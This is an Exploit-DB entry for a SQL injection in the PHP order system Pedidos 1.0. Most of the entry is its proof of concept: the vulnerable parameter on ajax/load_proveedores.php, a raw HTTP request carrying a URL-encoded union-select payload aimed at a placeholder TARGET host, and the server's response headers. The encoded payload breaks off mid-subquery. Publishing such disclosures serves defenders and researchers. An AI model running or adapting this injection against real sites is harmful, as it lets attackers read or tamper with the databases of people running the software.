# Pedidos 1.0 - SQL Injection

**EDB-ID:**
45856

**CVE:**
N/A

**EDB Verified:** ×

**Author:**
IHSAN SENCAN

**Type:**
WEBAPPS

**Exploit:** / {}

**Platform:**
PHP

**Date:**
2018-11-14

**Vulnerable App:**

```
# Exploit Title: Pedidos 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://obedalvarado.pw/
# Software Link: https://netcologne.dl.sourceforge.net/project/sistema-web-
de-pedidos-php/pedidos.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/ajax/load_proveedores.php?q=[SQL]
#
GET /[PATH]/ajax/load_proveedores.php?
q=%2d%61%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%28%53%45%4c%45%43
HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 21:33:43 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 703
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```

**Tags:** SQL Injection (SQLi)

**Advisory/Source:** Link

Databases

Links

Sites

Solutions